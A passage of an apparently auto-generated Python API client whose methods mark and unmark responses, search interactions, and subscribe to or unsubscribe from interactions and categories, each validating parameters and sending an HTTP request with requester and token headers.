Marks the response as accepted. This means the user is satisfied with the response & then the interaction will go into closed state
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.mark_as_an_response(interaction_id, response_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param int response_id: responseId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionType **A) Available values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionId 5)respondingUser 6)isMarkedResponse 7)noOfLikes 8)noOfDislikes 9)replyCount 10)isLiked 11)isDisliked 12)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.mark_as_an_response_with_http_info(interaction_id, response_id, requester_id, client_token, **kwargs)
else:
(data) = self.mark_as_an_response_with_http_info(interaction_id, response_id, requester_id, client_token, **kwargs)
return data
def mark_as_an_response_with_http_info(self, interaction_id, response_id, requester_id, client_token, **kwargs):
"""
Mark response as a response
Marks the response as accepted. This means the user is satisfied with the response & then the interaction will go into closed state
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.mark_as_an_response_with_http_info(interaction_id, response_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param int response_id: responseId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionType **A) Available values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionId 5)respondingUser 6)isMarkedResponse 7)noOfLikes 8)noOfDislikes 9)replyCount 10)isLiked 11)isDisliked 12)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['interaction_id', 'response_id', 'requester_id', 'client_token', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method mark_as_an_response" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'interaction_id' is set
if ('interaction_id' not in params) or (params['interaction_id'] is None):
raise ValueError("Missing the required parameter `interaction_id` when calling `mark_as_an_response`")
# verify the required parameter 'response_id' is set
if ('response_id' not in params) or (params['response_id'] is None):
raise ValueError("Missing the required parameter `response_id` when calling `mark_as_an_response`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `mark_as_an_response`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `mark_as_an_response`")
resource_path = '/interactions/{interactionId}/responses/{responseId}/mark'.replace('{format}', 'json')
path_params = {}
if 'interaction_id' in params:
path_params['interactionId'] = params['interaction_id']
if 'response_id' in params:
path_params['responseId'] = params['response_id']
query_params = {}
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
if 'fields' in params:
form_params.append(('fields', params['fields']))
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/x-www-form-urlencoded'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionResponse',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def search_interactions(self, search_text, interaction_status, start, end, requester_id, client_token, **kwargs):
"""
Get list of matching interactions
Returns the list of matching interactions
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.search_interactions(search_text, interaction_status, start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str search_text: Search Text, keywords to search (required)
:param str interaction_status: /* Interaction status 1) ALL 2) UNREPLIED 3) REPLIED 4) CLOSED */ (required)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str interaction_type: Interaction Type
:param str association: association
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionList
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.search_interactions_with_http_info(search_text, interaction_status, start, end, requester_id, client_token, **kwargs)
else:
(data) = self.search_interactions_with_http_info(search_text, interaction_status, start, end, requester_id, client_token, **kwargs)
return data
def search_interactions_with_http_info(self, search_text, interaction_status, start, end, requester_id, client_token, **kwargs):
"""
Get list of matching interactions
Returns the list of matching interactions
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.search_interactions_with_http_info(search_text, interaction_status, start, end, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str search_text: Search Text, keywords to search (required)
:param str interaction_status: /* Interaction status 1) ALL 2) UNREPLIED 3) REPLIED 4) CLOSED */ (required)
:param int start: start, initial value start from 0 (required)
:param int end: end (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str interaction_type: Interaction Type
:param str association: association
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionList
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['search_text', 'interaction_status', 'start', 'end', 'requester_id', 'client_token', 'interaction_type', 'association', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method search_interactions" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'search_text' is set
if ('search_text' not in params) or (params['search_text'] is None):
raise ValueError("Missing the required parameter `search_text` when calling `search_interactions`")
# verify the required parameter 'interaction_status' is set
if ('interaction_status' not in params) or (params['interaction_status'] is None):
raise ValueError("Missing the required parameter `interaction_status` when calling `search_interactions`")
# verify the required parameter 'start' is set
if ('start' not in params) or (params['start'] is None):
raise ValueError("Missing the required parameter `start` when calling `search_interactions`")
# verify the required parameter 'end' is set
if ('end' not in params) or (params['end'] is None):
raise ValueError("Missing the required parameter `end` when calling `search_interactions`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `search_interactions`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `search_interactions`")
resource_path = '/interactions/search'.replace('{format}', 'json')
path_params = {}
query_params = {}
if 'search_text' in params:
query_params['searchText'] = params['search_text']
if 'interaction_type' in params:
query_params['interactionType'] = params['interaction_type']
if 'interaction_status' in params:
query_params['interactionStatus'] = params['interaction_status']
if 'association' in params:
query_params['association'] = params['association']
if 'start' in params:
query_params['start'] = params['start']
if 'end' in params:
query_params['end'] = params['end']
if 'fields' in params:
query_params['fields'] = params['fields']
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionList',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def subscribe_interactin_category(self, category_id, requester_id, client_token, **kwargs):
"""
Subscribe interaction category
Returns the subscribed interaction category
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.subscribe_interactin_category(category_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int category_id: categoryId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)categoryId 2)categoryName 3)interactionType **A) Available values -** 1)categoryId 2)categoryName 3)categoryDescription 4)createdDate 5)isSubscribed 6)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionCategory
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.subscribe_interactin_category_with_http_info(category_id, requester_id, client_token, **kwargs)
else:
(data) = self.subscribe_interactin_category_with_http_info(category_id, requester_id, client_token, **kwargs)
return data
def subscribe_interactin_category_with_http_info(self, category_id, requester_id, client_token, **kwargs):
"""
Subscribe interaction category
Returns the subscribed interaction category
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.subscribe_interactin_category_with_http_info(category_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int category_id: categoryId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)categoryId 2)categoryName 3)interactionType **A) Available values -** 1)categoryId 2)categoryName 3)categoryDescription 4)createdDate 5)isSubscribed 6)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionCategory
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['category_id', 'requester_id', 'client_token', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method subscribe_interactin_category" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'category_id' is set
if ('category_id' not in params) or (params['category_id'] is None):
raise ValueError("Missing the required parameter `category_id` when calling `subscribe_interactin_category`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `subscribe_interactin_category`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `subscribe_interactin_category`")
resource_path = '/interactions/categories/{categoryId}/subscribe'.replace('{format}', 'json')
path_params = {}
if 'category_id' in params:
path_params['categoryId'] = params['category_id']
query_params = {}
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
if 'fields' in params:
form_params.append(('fields', params['fields']))
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/x-www-form-urlencoded'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionCategory',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def subscribe_interaction(self, interaction_id, requester_id, client_token, **kwargs):
"""
Subscribe interaction
Allows the user to subscribe a interaction
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.subscribe_interaction(interaction_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteraction
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.subscribe_interaction_with_http_info(interaction_id, requester_id, client_token, **kwargs)
else:
(data) = self.subscribe_interaction_with_http_info(interaction_id, requester_id, client_token, **kwargs)
return data
def subscribe_interaction_with_http_info(self, interaction_id, requester_id, client_token, **kwargs):
"""
Subscribe interaction
Allows the user to subscribe a interaction
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.subscribe_interaction_with_http_info(interaction_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteraction
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['interaction_id', 'requester_id', 'client_token', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method subscribe_interaction" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'interaction_id' is set
if ('interaction_id' not in params) or (params['interaction_id'] is None):
raise ValueError("Missing the required parameter `interaction_id` when calling `subscribe_interaction`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `subscribe_interaction`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `subscribe_interaction`")
resource_path = '/interactions/{interactionId}/subscribe'.replace('{format}', 'json')
path_params = {}
if 'interaction_id' in params:
path_params['interactionId'] = params['interaction_id']
query_params = {}
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
if 'fields' in params:
form_params.append(('fields', params['fields']))
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/x-www-form-urlencoded'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteraction',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def unmark_as_an_response(self, interaction_id, response_id, requester_id, client_token, **kwargs):
"""
Unmark response as a response
Unmarks the response. This will remove the marked response.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.unmark_as_an_response(interaction_id, response_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param int response_id: responseId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionType **A) Available values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionId 5)respondingUser 6)isMarkedResponse 7)noOfLikes 8)noOfDislikes 9)replyCount 10)isLiked 11)isDisliked 12)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.unmark_as_an_response_with_http_info(interaction_id, response_id, requester_id, client_token, **kwargs)
else:
(data) = self.unmark_as_an_response_with_http_info(interaction_id, response_id, requester_id, client_token, **kwargs)
return data
def unmark_as_an_response_with_http_info(self, interaction_id, response_id, requester_id, client_token, **kwargs):
"""
Unmark response as a response
Unmarks the response. This will remove the marked response.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.unmark_as_an_response_with_http_info(interaction_id, response_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param int response_id: responseId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionType **A) Available values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionId 5)respondingUser 6)isMarkedResponse 7)noOfLikes 8)noOfDislikes 9)replyCount 10)isLiked 11)isDisliked 12)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['interaction_id', 'response_id', 'requester_id', 'client_token', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method unmark_as_an_response" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'interaction_id' is set
if ('interaction_id' not in params) or (params['interaction_id'] is None):
raise ValueError("Missing the required parameter `interaction_id` when calling `unmark_as_an_response`")
# verify the required parameter 'response_id' is set
if ('response_id' not in params) or (params['response_id'] is None):
raise ValueError("Missing the required parameter `response_id` when calling `unmark_as_an_response`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `unmark_as_an_response`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `unmark_as_an_response`")
resource_path = '/interactions/{interactionId}/responses/{responseId}/unmark'.replace('{format}', 'json')
path_params = {}
if 'interaction_id' in params:
path_params['interactionId'] = params['interaction_id']
if 'response_id' in params:
path_params['responseId'] = params['response_id']
query_params = {}
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
if 'fields' in params:
form_params.append(('fields', params['fields']))
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/x-www-form-urlencoded'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionResponse',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def unsubscribe_interactin_category(self, category_id, requester_id, client_token, **kwargs):
"""
Unsubscribe interaction category
Returns the unsubscribed interaction category
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.unsubscribe_interactin_category(category_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int category_id: categoryId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)categoryId 2)categoryName 3)interactionType **A) Available values -** 1)categoryId 2)categoryName 3)categoryDescription 4)createdDate 5)isSubscribed 6)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionCategory
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.unsubscribe_interactin_category_with_http_info(category_id, requester_id, client_token, **kwargs)
else:
(data) = self.unsubscribe_interactin_category_with_http_info(category_id, requester_id, client_token, **kwargs)
return data
def unsubscribe_interactin_category_with_http_info(self, category_id, requester_id, client_token, **kwargs):
"""
Unsubscribe interaction category
Returns the unsubscribed interaction category
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.unsubscribe_interactin_category_with_http_info(category_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int category_id: categoryId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)categoryId 2)categoryName 3)interactionType **A) Available values -** 1)categoryId 2)categoryName 3)categoryDescription 4)createdDate 5)isSubscribed 6)interactionType */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionCategory
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['category_id', 'requester_id', 'client_token', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method unsubscribe_interactin_category" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'category_id' is set
if ('category_id' not in params) or (params['category_id'] is None):
raise ValueError("Missing the required parameter `category_id` when calling `unsubscribe_interactin_category`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `unsubscribe_interactin_category`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `unsubscribe_interactin_category`")
resource_path = '/interactions/categories/{categoryId}/unsubscribe'.replace('{format}', 'json')
path_params = {}
if 'category_id' in params:
path_params['categoryId'] = params['category_id']
query_params = {}
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
if 'fields' in params:
form_params.append(('fields', params['fields']))
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/x-www-form-urlencoded'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionCategory',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def unsubscribe_interaction(self, interaction_id, requester_id, client_token, **kwargs):
"""
Unsubscribe interaction
Allows the user to unsubscribe a interaction
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.unsubscribe_interaction(interaction_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteraction
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.unsubscribe_interaction_with_http_info(interaction_id, requester_id, client_token, **kwargs)
else:
(data) = self.unsubscribe_interaction_with_http_info(interaction_id, requester_id, client_token, **kwargs)
return data
def unsubscribe_interaction_with_http_info(self, interaction_id, requester_id, client_token, **kwargs):
"""
Unsubscribe interaction
Allows the user to unsubscribe a interaction
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.unsubscribe_interaction_with_http_info(interaction_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str fields: Filter fields in result list /* **A) Default values -** 1)interactionId 2)interactionTitle 3)interactionDescription 4)createdDate 5)interactionType **A) Available values-** 1)interactionId 2)interactionTitle 3)interactionDescription 4)issuer 5)noOfResponses 6)isClosed 7)createdDate 8)lastUpdatedDate 9)videoId 10)fileURL 11)isSubscribed 12)sentiment 13)entity 14)interactionType 15)categoryId 16)categoryName */
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteraction
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['interaction_id', 'requester_id', 'client_token', 'fields', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method unsubscribe_interaction" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'interaction_id' is set
if ('interaction_id' not in params) or (params['interaction_id'] is None):
raise ValueError("Missing the required parameter `interaction_id` when calling `unsubscribe_interaction`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `unsubscribe_interaction`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `unsubscribe_interaction`")
resource_path = '/interactions/{interactionId}/unsubscribe'.replace('{format}', 'json')
path_params = {}
if 'interaction_id' in params:
path_params['interactionId'] = params['interaction_id']
query_params = {}
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
